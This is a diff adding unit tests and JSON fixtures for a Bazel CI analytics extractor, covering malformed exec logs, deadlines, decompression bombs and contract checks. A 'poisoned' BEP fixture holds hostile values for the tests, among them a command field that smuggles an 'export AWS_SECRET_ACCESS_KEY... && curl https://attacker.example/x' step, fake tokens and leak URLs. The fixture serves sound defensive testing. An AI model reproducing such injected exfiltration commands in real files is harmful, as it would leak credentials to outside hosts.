text: + # rejected at argument-parsing time, before any file is read. + with self.assertRaises(SystemExit): + extract.main( + [ + "--lane", "unit Bearer abc.def", + "--mode", "remote token=hunter2", + "--check-run-id", "1", "--pr-hint", "0", + "--invocation", "step with spaces AKIAIOSFODNN7EXAMPLE", bep_path, + "--out", out, + ] + ) + # A valid --lane/--mode/STEP, but a hostile started.uuid: the + # CLI still succeeds, but the hostile uuid never reaches the + # output (dropped to "", not validated-and-passed-through). + rc = extract.main( + [ + "--lane", "unit", "--mode", "remote", "--check-run-id", "1", "--pr-hint", "0", + "--invocation", "test", bep_path, "--out", out, + ] + ) + self.assertEqual(rc, 0) + with open(out, encoding="utf-8") as f: + text = f.read() + self.assertNotIn(hostile_uuid, text) + + def test_mode_enum_is_enforced(self): + with tempfile.TemporaryDirectory() as tmp: + out = os.path.join(tmp, "summary.json") + with self.assertRaises(SystemExit): + extract.parse_args( + [ + "--lane", "unit", "--mode", "not-a-real-mode", "--check-run-id", "1", + "--pr-hint", "0", "--invocation", "test", os.path.join(REAL, "cold-bep.json"), + "--out", out, + ] + ) + + +class ElapsedTimeFieldTests(unittest.TestCase): + """buildToolLogs' base64-encoded "elapsed time" / "critical path" logs + are read; make sure a benign one decodes correctly (the malicious case + is covered by PoisonedBEPTests).""" + + def test_elapsed_and_critical_path_decode(self): + text = ( + "Critical Path: 2.50s, Remote (10.0% of the time): [queue: 1.50%, process: 2.25%]\n" + " 2.50s action 'Testing //:pass_test (shard 0 of 1)'\n" + ) + events = [ + {"id": {"started": {}}, "started": {"uuid": "u", "command": "test", "buildToolVersion": "9.2.0"}}, + { + "id": {"buildToolLogs": {}}, + "buildToolLogs": { + "log": [ + {"name": "elapsed time", "contents": base64.b64encode(b"2.5").decode()}, + {"name": "critical path", "contents": base64.b64encode(text.encode()).decode()}, + ] + }, + }, + ] + started, finished, timing, critical_path, actions, graph, net = extract.build_timing(events) + self.assertEqual(timing["elapsed_ms"], 2500) + self.assertEqual(critical_path["remote_pct"], 10.0) + self.assertEqual(critical_path["queue_pct"], 1.50) + self.assertEqual(critical_path["process_pct"], 2.25) + self.assertEqual(critical_path["test_label"], "//:pass_test") + self.assertEqual(critical_path["test_shard"], 0) + self.assertEqual(critical_path["test_ms"], 2500) + + def test_critical_path_test_line_matches_unsharded_tests_too(self): + text = ( + "Critical Path: 1.00s, Remote (0.0% of the time): []\n" + " 1.00s action 'Testing //:unsharded_test'\n" + ) + events = [ + {"id": {"started": {}}, "started": {"uuid": "u", "command": "test", "buildToolVersion": "9.2.0"}}, + { + "id": {"buildToolLogs": {}}, + "buildToolLogs": { + "log": [{"name": "critical path", "contents": base64.b64encode(text.encode()).decode()}] + }, + }, + ] + _, _, _, critical_path, _, _, _ = extract.build_timing(events) + self.assertEqual(critical_path["test_label"], "//:unsharded_test") + self.assertEqual(critical_path["test_shard"], 0) + + def test_critical_path_pct_keys_always_present_even_with_no_match(self): + events = [ + {"id": {"started": {}}, "started": {"uuid": "u", "command": "test", "buildToolVersion": "9.2.0"}}, + ] + _, _, _, critical_path, _, _, _ = extract.build_timing(events) + for key in ( + "remote_pct", + "queue_pct", + "fetch_pct", + "process_pct", + "upload_pct", + "setup_pct", + "network_pct", + ): + self.assertEqual(critical_path[key], 0.0) + # Always present (the S4 contract), even with no critical-path text + # at all: "" / 0 defaults, not an absent key. + self.assertEqual(critical_path["test_label"], "") + self.assertEqual(critical_path["test_shard"], 0) + self.assertEqual(critical_path["test_ms"], 0) + + +class RobustnessTests(unittest.TestCase): + """Every crash a reviewer's adversarial script reproduced against this + extractor must degrade (a status string, or a smaller/partial result), + never raise out of build_invocation().""" + + def _bep(self, uuid="11111111-2222-3333-4444-555555555555", extra_started=None, lines_after=()): + st = {"uuid": uuid, "command": "test", "buildToolVersion": "9.2.0", "startTimeMillis": "1"} + if extra_started: + st.update(extra_started) + lines = [json.dumps({"id": {"started": {}}, "started": st})] + list(lines_after) + return "\n".join(lines) + "\n" + + def _run(self, bep_text, exec_bytes, deadline=None): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(bep_text) + ep = None + if exec_bytes is not None: + ep = os.path.join(tmp, "x.exec") + with open(ep, "wb") as f: + f.write(exec_bytes) + return extract.build_invocation("test", bp, ep, None, deadline if deadline is not None else _deadline()) + + def test_truncated_varint_tail_degrades_to_corrupt(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + b"\x80") + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "corrupt") + + def test_wiretype_3_in_entry_degrades_to_corrupt(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + _length_prefixed(b"\x3b")) # field 7, wire 3 + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "corrupt") + + def test_wiretype_6_in_entry_degrades_to_corrupt(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + _length_prefixed(b"\x3e")) # field 7, wire 6 + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "corrupt") + + def test_spawn_target_as_varint_is_skipped_not_crashed(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + # Spawn.target_label (field 7) re-encoded as a varint instead of a + # length-delimited string. + entry = _length_prefixed(b"\x3a" + _length_prefixed(b"\x38\x01")) + rec = self._run(self._bep(uuid), inv_entry + entry) + self.assertIsNotNone(rec) + self.assertIn(rec["exec_log"], ("ok", "corrupt")) + + def test_metrics_input_bytes_as_bytes_is_skipped_not_crashed(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + metrics = b"\x42" + _length_prefixed(b"\x5a" + _length_prefixed(b"xx")) + entry = _length_prefixed(b"\x3a" + _length_prefixed(metrics)) + rec = self._run(self._bep(uuid), inv_entry + entry) + self.assertIsNotNone(rec) + self.assertIn(rec["exec_log"], ("ok", "corrupt")) + + def test_invocation_submessage_as_varint_degrades(self): + rec = self._run(self._bep(), _length_prefixed(b"\x10\x05")) + self.assertIsNotNone(rec) + self.assertIn(rec["exec_log"], ("ok", "mismatch", "corrupt")) + + def test_huge_length_prefix_does_not_crash(self): + uuid = "11111111-2222-3333-4444-555555555555" + inv_entry = _invocation_entry(uuid) + rec = self._run(self._bep(uuid), inv_entry + _varint(2**62) + b"abc") + self.assertIsNotNone(rec) + + def test_deadline_is_checked_inside_a_single_oversized_submessage(self): + """spawns()'s own deadline check fires once per ExecLogEntry -- but + a single entry can itself be made arbitrarily large (a reviewer's + adversarial script built one 40 MB Spawn out of millions of tiny + 2-byte fields and measured 15.8s against a 5s deadline, since + nothing inside fields() ever looked at the clock). Build one + Spawn's SpawnMetrics submessage (field 18) out of many tiny unknown + fields -- small enough to construct quickly in a test, but still + many times DEADLINE_CHECK_EVERY -- and confirm an already-elapsed + deadline is caught well before the whole submessage is decoded.""" + uuid = "11111111-2222-3333-4444-555555555555" + # field 1 (total_ms, wire 0): 2 bytes/field (tag + a 1-byte value). + huge_metrics = b"\x08\x00" * (extract.DEADLINE_CHECK_EVERY * 5) + spawn_body = _spawn("//:huge", "CppCompile", "local", False, huge_metrics) + exec_log = _invocation_entry(uuid) + _entry_with_spawn(spawn_body) + start = time.monotonic() + rec = self._run(self._bep(uuid), exec_log, deadline=time.monotonic() - 1) + elapsed = time.monotonic() - start + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "timeout") + self.assertLess(elapsed, 5.0) + + def test_bep_line_is_a_list(self): + rec = self._run(self._bep(lines_after=["[1,2,3]", '{"finished":{}}']), None) + self.assertIsNotNone(rec) + + def test_bep_line_is_a_bare_string(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write('"started here"\n{"x":1}\n') + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNone(rec) # no valid started event anywhere: dropped, not crashed + + def test_bep_inf_number_in_started(self): + text = self._bep(extra_started={"startTimeMillis": 1e999}).replace("Infinity", "1e999") + rec = self._run(text, None) + self.assertIsNotNone(rec) + self.assertEqual(rec["started_ms"], 0) # as_int() degraded the overflow to the default + + def test_bep_started_not_a_dict(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write('{"started": 5}\n') + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNone(rec) # started never became valid: dropped, not crashed + + def test_critpath_bad_float_does_not_crash(self): + cp = "Critical Path: 1.2.3s, Remote (0.0% of the time): []\n" + rec = self._run( + self._bep( + lines_after=[ + json.dumps( + { + "buildToolLogs": { + "log": [ + { + "name": "critical path", + "contents": base64.b64encode(cp.encode()).decode(), + } + ] + } + } + ) + ] + ), + None, + ) + self.assertIsNotNone(rec) + + def test_testresult_not_a_dict(self): + rec = self._run( + self._bep( + lines_after=[ + json.dumps({"id": {"testResult": {"label": "//:a"}}, "testResult": "PASSED"}) + ] + ), + None, + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["tests"], []) # the malformed event was skipped + + def test_runnercount_count_overflow_does_not_crash(self): + rec = self._run( + self._bep( + lines_after=[ + '{"buildMetrics":{"actionSummary":{"runnerCount":[{"name":"remote","count":1e999}]}}}' + ] + ), + None, + ) + self.assertIsNotNone(rec) + self.assertEqual(rec["actions"]["remote"], 0) # the overflow degraded to the default + + def _profile_with_event(self, event_line): + return '{"traceEvents":[\n' + event_line + "\n]}\n" + + def test_repo_fetch_infinite_ts_does_not_crash(self): + # 1e999 parses as float('inf') via json's default Infinity literal + # (iter_repo_fetch does not reject non-finite constants the way + # read_bep() does -- it must instead catch them with isfinite()). + line = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": 1e999, "dur": 1}).replace( + "Infinity", "1e999" + ) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write(self._profile_with_event(line)) + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(rows, []) + self.assertEqual(status, "corrupt") + + def test_repo_fetch_nan_ts_does_not_crash(self): + line = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": float("nan"), "dur": 1}) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write(self._profile_with_event(line)) + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(rows, []) + self.assertEqual(status, "corrupt") + + def test_repo_fetch_overflowing_sum_does_not_crash(self): + # ts and dur are each individually finite (1e308 is a valid + # float), but their sum overflows a double to inf: isfinite(start) + # alone would miss this, only isfinite(end) catches it. + line = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": 1e308, "dur": 1e308}) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write(self._profile_with_event(line)) + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(rows, []) + self.assertEqual(status, "corrupt") + + def test_repo_fetch_corrupt_entry_does_not_hide_valid_siblings(self): + bad = json.dumps({"cat": "Fetching repository", "name": "@@evil", "ts": float("nan"), "dur": 1}) + good = json.dumps({"cat": "Fetching repository", "name": "@@rules_cc+", "ts": 0, "dur": 500}) + with tempfile.TemporaryDirectory() as tmp: + pp = os.path.join(tmp, "p.json") + with open(pp, "w", encoding="utf-8") as f: + f.write('{"traceEvents":[\n' + ",\n".join((bad, good)) + "\n]}\n") + rows, status = extract.iter_repo_fetch(pp, _deadline()) + self.assertEqual(status, "corrupt") + self.assertEqual([r["repo"] for r in rows], ["@@rules_cc+"]) + + +class BoundsTests(unittest.TestCase): + def test_exec_log_parse_timeout_is_reported(self): + uuid = "11111111-2222-3333-4444-555555555555" + exec_log = _invocation_entry(uuid) + # DEADLINE_CHECK_EVERY (2000) + a margin of spawn entries, so the + # deadline check inside spawns() fires at least once. The BEP + # itself is a single line, so read_bep()'s own (much coarser) + # check never fires even with an already-elapsed deadline: the + # timeout this test exercises is specifically the exec-log pass'. + for i in range(extract.DEADLINE_CHECK_EVERY + 50): + exec_log += _entry_with_spawn( + _spawn(f"//:t{i}", "CppCompile", "local", False, _spawn_metrics(total_ms=1)) + ) + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + ep = os.path.join(tmp, "x.exec") + with open(bp, "w", encoding="utf-8") as f: + f.write( + json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": uuid, + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + + "\n" + ) + with open(ep, "wb") as f: + f.write(exec_log) + # An already-elapsed deadline: once the spawn loop's entry + # count crosses DEADLINE_CHECK_EVERY, it must raise + # ParseTimeout, which build_invocation turns into an + # "exec_log": "timeout" status rather than propagating. + rec = extract.build_invocation("test", bp, ep, None, time.monotonic() - 1) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "timeout") + + @unittest.skipUnless(shutil.which("zstd"), "zstd not on PATH") + def test_zstd_round_trip(self): + uuid = "11111111-2222-3333-4444-555555555555" + raw = synthetic_exec_log(uuid) + with tempfile.TemporaryDirectory() as tmp: + compressed = os.path.join(tmp, "exec.log.zst") + proc = subprocess.run( + ["zstd", "-q", "-o", compressed], + input=raw, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + check=True, + ) + del proc + data, status = extract.load_exec_log(compressed, _deadline()) + self.assertEqual(status, "ok") + self.assertEqual(data, raw) + + @unittest.skipUnless(shutil.which("zstd"), "zstd not on PATH") + def test_zstd_decompression_bomb_is_bounded(self): + # Patch MAX_EXEC_LOG_BYTES down instead of actually decompressing + # past the real 512 MiB cap: this test only needs to prove + # load_exec_log() stops reading once the decompressed stream + # crosses the cap, not that the cap is specifically 512 MiB, and a + # 600 MiB bomb was slow to build and (briefly) held 512 MiB+ in + # this process regardless of the outcome. + old_cap = extract.MAX_EXEC_LOG_BYTES + extract.MAX_EXEC_LOG_BYTES = 8 * 1024 * 1024 # 8 MiB + try: + with tempfile.TemporaryDirectory() as tmp: + bomb = os.path.join(tmp, "bomb.zst") + # 64 MiB of zeros, well past the patched 8 MiB cap, + # compresses to a tiny file almost instantly. + dd = subprocess.Popen( + ["dd", "if=/dev/zero", "bs=1M", "count=64"], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL + ) + with open(bomb, "wb") as out: + zstd = subprocess.Popen(["zstd", "-q", "-1"], stdin=dd.stdout, stdout=out) + dd.stdout.close() + zstd.communicate(timeout=60) + dd.wait(timeout=60) + start = time.monotonic() + data, status = extract.load_exec_log(bomb, time.monotonic() + 30) + elapsed = time.monotonic() - start + finally: + extract.MAX_EXEC_LOG_BYTES = old_cap + self.assertIsNone(data) + self.assertEqual(status, "too_large") + self.assertLess(elapsed, 30.0) + + +class ContractTests(unittest.TestCase): + """The S4 contract: a stable, always-complete key set and status + vocabulary, so the collector never has to guess at a missing field.""" + + def test_max_test_results_is_a_global_total_not_per_label(self): + lines = [ + json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": "u", + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + ] + # Two labels, each with more rows than half of a small total cap: + # if the cap were still enforced per-label, both labels would fit + # under it individually; enforced globally, the combined total must + # be clipped. + old_cap = extract.MAX_TEST_RESULTS + extract.MAX_TEST_RESULTS = 10 + try: + for label_i in range(2): + for run in range(8): + lines.append( + json.dumps( + { + "id": { + "testResult": { + "label": f"//:label{label_i}", + "run": run, + "shard": 0, + "attempt": 1, + } + }, + "testResult": {"status": "PASSED", "testAttemptDurationMillis": "1"}, + } + ) + ) + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write("\n".join(lines) + "\n") + rec = extract.build_invocation("test", bp, None, None, _deadline()) + finally: + extract.MAX_TEST_RESULTS = old_cap + self.assertIsNotNone(rec) + total = sum(len(t["results"]) for t in rec["tests"]) + self.assertLessEqual(total, 10) + self.assertGreater(rec["tests_truncated"], 0) + + def test_exit_code_is_minus_one_without_a_finished_event(self): + rec = self._run_minimal_bep() + self.assertEqual(rec["exit_code"], -1) + self.assertEqual(rec["exit_name"], "UNKNOWN") + + def test_profile_missing_vs_unreadable_vs_ok(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(self._minimal_bep_text()) + rec_missing = extract.build_invocation("test", bp, None, None, _deadline()) + rec_unreadable = extract.build_invocation( + "test", bp, None, os.path.join(tmp, "nope.json"), _deadline() + ) + profile_path = os.path.join(tmp, "profile.json") + with open(profile_path, "w", encoding="utf-8") as f: + json.dump({"traceEvents": []}, f) + rec_ok = extract.build_invocation("test", bp, None, profile_path, _deadline()) + self.assertEqual(rec_missing["profile"], "missing") + self.assertEqual(rec_unreadable["profile"], "unreadable") + self.assertEqual(rec_ok["profile"], "ok") + + def test_exec_log_missing_vs_unreadable(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(self._minimal_bep_text()) + rec_missing = extract.build_invocation("test", bp, None, None, _deadline()) + rec_unreadable = extract.build_invocation( + "test", bp, os.path.join(tmp, "nope.exec"), None, _deadline() + ) + self.assertEqual(rec_missing["exec_log"], "missing") + self.assertEqual(rec_unreadable["exec_log"], "unreadable") + + @staticmethod + def _minimal_bep_text(): + return ( + json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": "11111111-2222-3333-4444-555555555555", + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + + "\n" + ) + + def _run_minimal_bep(self): + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(self._minimal_bep_text()) + return extract.build_invocation("test", bp, None, None, _deadline()) + + +class BEPReadContractTests(unittest.TestCase): + """The malformed-middle-line vs. truncated-last-line BEP contract + (shared with gascity's bep.go / beads' extractor), plus the ported + beads invocation-id mismatch fixture.""" + + def _started_line(self, uuid): + return json.dumps( + { + "id": {"started": {}}, + "started": { + "uuid": uuid, + "command": "test", + "buildToolVersion": "9.2.0", + "startTimeMillis": "1", + }, + } + ) + + def test_malformed_middle_line_drops_the_invocation(self): + uuid = "11111111-2222-3333-4444-555555555555" + text = self._started_line(uuid) + "\n{not json\n" + '{"finished":{}}\n' + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(text) + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNone(rec) + + def test_truncated_last_line_sets_bep_truncated(self): + uuid = "11111111-2222-3333-4444-555555555555" + text = self._started_line(uuid) + "\n" + '{"finished": {"exitCode": {"cod' # cut off mid-line + with tempfile.TemporaryDirectory() as tmp: + bp = os.path.join(tmp, "x.bep.json") + with open(bp, "w", encoding="utf-8") as f: + f.write(text) + rec = extract.build_invocation("test", bp, None, None, _deadline()) + self.assertIsNotNone(rec) + self.assertTrue(rec["bep_truncated"]) + + def test_beads_mismatch_fixture_reports_mismatch(self): + """Ported from beads' tools/bazel/testdata/ci_analytics/ + mismatch.bep.jsonl: a BEP whose started.uuid does not match the + exec log's embedded invocation id.""" + bep_path = os.path.join(TESTDATA, "mismatch.bep.jsonl") + with open(bep_path, encoding="utf-8") as f: + text = f.read() + self.assertIn("99999999-0000-1111-2222-333333333333", text) + exec_log = synthetic_exec_log("00000000-aaaa-bbbb-cccc-000000000000") + with tempfile.TemporaryDirectory() as tmp: + ep = os.path.join(tmp, "mismatch.exec") + with open(ep, "wb") as f: + f.write(exec_log) + rec = extract.build_invocation("test", bep_path, ep, None, _deadline()) + self.assertIsNotNone(rec) + self.assertEqual(rec["exec_log"], "mismatch") + self.assertEqual(rec["mnemonics"], []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl b/tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl new file mode 100644 index 000000000..37680e98d --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/mismatch.bep.jsonl @@ -0,0 +1,3 @@ +{"started": {"uuid": "99999999-0000-1111-2222-333333333333", "command": "test", "buildToolVersion": "9.2.0", "startTimeMillis": "2000"}} +{"buildMetrics": {"timingMetrics": {"wallTimeInMs": "15"}, "actionSummary": {"actionsCreated": "1", "actionsExecuted": "1"}}} +{"finished": {"exitCode": {"code": 0, "name": "SUCCESS"}, "finishTimeMillis": "2015"}} diff --git a/tools/bazel/testdata/ci_analytics/poisoned-bep.json b/tools/bazel/testdata/ci_analytics/poisoned-bep.json new file mode 100644 index 000000000..258a06e7e --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/poisoned-bep.json @@ -0,0 +1,8 @@ +{"id": {"started": {}}, "started": {"uuid": "poison-0000-0000-0000-000000000000", "startTimeMillis": "1700000000000", "buildToolVersion": "9.2.0; TOKEN=ghp_SECRETTOKEN1234567890 at http://evil.example.com/leak", "command": "test\nexport AWS_SECRET_ACCESS_KEY=abcd1234 && curl https://attacker.example/x"}} +{"id": {"unstructuredCommandLine": {}}, "unstructuredCommandLine": {"args": ["test", "--remote_executor=grpcs://rbe-west-internal.ops.gascity.com:443", "--tls_client_key=/etc/secrets/rbe-client.key", "--test_env=DEPLOY_TOKEN=s3cr3t-deploy-token-0001"]}} +{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 0, "attempt": 1}}, "testResult": {"status": "PASSED; /root/.ssh/id_rsa leaked, see 10.0.0.5", "executionInfo": {"strategy": "remote cache hit; token=ghp_abc123"}, "cachedLocally": false, "testAttemptDurationMillis": "123"}} +{"id": {"testSummary": {"label": "//:pass_test"}}, "testSummary": {"overallStatus": "PASSED", "shardCount": 1, "attemptCount": 1, "totalNumCached": 0}} +{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "100", "wallTimeInMs": "200"}, "actionSummary": {"actionsCreated": "5", "actionsExecuted": "5", "runnerCount": [{"name": "remote; -----BEGIN PRIVATE KEY----- leak", "count": "5", "execKind": "Remote"}], "actionData": [{"mnemonic": "CppCompile; /home/runner/secret", "actionsExecuted": "5", "actionsCreated": "5", "userTime": "1s", "systemTime": "1s"}]}}} +{"id": {"finished": {}}, "finished": {"exitCode": {"code": 0, "name": "SUCCESS; https://leak.example.com/token=abc"}, "finishTimeMillis": "1700000001000"}} +{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMS4wMHMsIFJlbW90ZSAoMC4wJSBvZiB0aGUgdGltZSk6IFsKICAxLjAwcyBhY3Rpb24gJ1Rlc3RpbmcgLy86cGFzc190ZXN0IChzaGFyZCAwIG9mIDEpJyBzZWNyZXQ9aHVudGVyMgo="}, {"name": "elapsed time", "contents": "MS4w"}]}} +{"id": {"testSummary": {"label": "//pkg:x/etc/evil_test"}}, "testSummary": {"overallStatus": "PASSED; DEPLOY_TOKEN=s3cr3t-deploy-token-0001", "shardCount": 1, "attemptCount": 1, "totalNumCached": 0}} diff --git a/tools/bazel/testdata/ci_analytics/real/cold-bep.json b/tools/bazel/testdata/ci_analytics/real/cold-bep.json new file mode 100644 index 000000000..3ea8ad7af --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/cold-bep.json @@ -0,0 +1,12 @@ +{"id": {"started": {}}, "started": {"uuid": "ea882f0a-d70d-4e98-8471-874fa38dd26e", "startTimeMillis": "1791360355792", "buildToolVersion": "9.2.0", "command": "test"}} +{"id": {"testResult": {"label": "//:flaky_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "46", "status": "FAILED", "testAttemptDuration": "0.046s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.046s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "43", "status": "PASSED", "testAttemptDuration": "0.043s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.043s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 2, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.045s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 3, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "49", "status": "PASSED", "testAttemptDuration": "0.049s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.049s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "56", "status": "PASSED", "testAttemptDuration": "0.056s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.056s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:flaky_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "FAILED", "attemptCount": 1}} +{"id": {"testSummary": {"label": "//:pass_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "attemptCount": 1}} +{"id": {"testSummary": {"label": "//:sharded_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "shardCount": 3, "attemptCount": 1}} +{"id": {"buildFinished": {}}, "finished": {"finishTimeMillis": "1791360367926", "exitCode": {"name": "TESTS_FAILED", "code": 3}}} +{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "elapsed time", "contents": "MTIuMTM0MDAw"}, {"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMC4yM3MsIFJlbW90ZSAoMC4wMCUgb2YgdGhlIHRpbWUpOiBbcGFyc2U6IDAuMDAlLCBxdWV1ZTogMC4wMCUsIG5ldHdvcms6IDAuMDAlLCB1cGxvYWQ6IDAuMDAlLCBzZXR1cDogMC4wMCUsIHByb2Nlc3M6IDAuMDAlLCBmZXRjaDogMC4wMCUsIHJldHJ5OiAwLjAwJSwgcHJvY2Vzc091dHB1dHM6IDAuMDAlLCBvdGhlcjogMC4wMCUsIGlucHV0IGZpbGVzOiAwLCBpbnB1dCBieXRlczogMCwgbWVtb3J5IGJ5dGVzOiAwXQogIDAuMTFzIGFjdGlvbiAnVGVzdGluZyAvLzpzaGFyZGVkX3Rlc3QgKHNoYXJkIDMgb2YgMyknCiAgMC4wMHMgcnVuZmlsZXMgZm9yIC8vOnNoYXJkZWRfdGVzdAogIDAuMDdzIGFjdGlvbiAnTGlua2luZyBzaGFyZGVkX3Rlc3QnCiAgMC4wNXMgYWN0aW9uICdDb21waWxpbmcgbWFpbl9zaGFyZC5jJw=="}, {"name": "process stats", "contents": 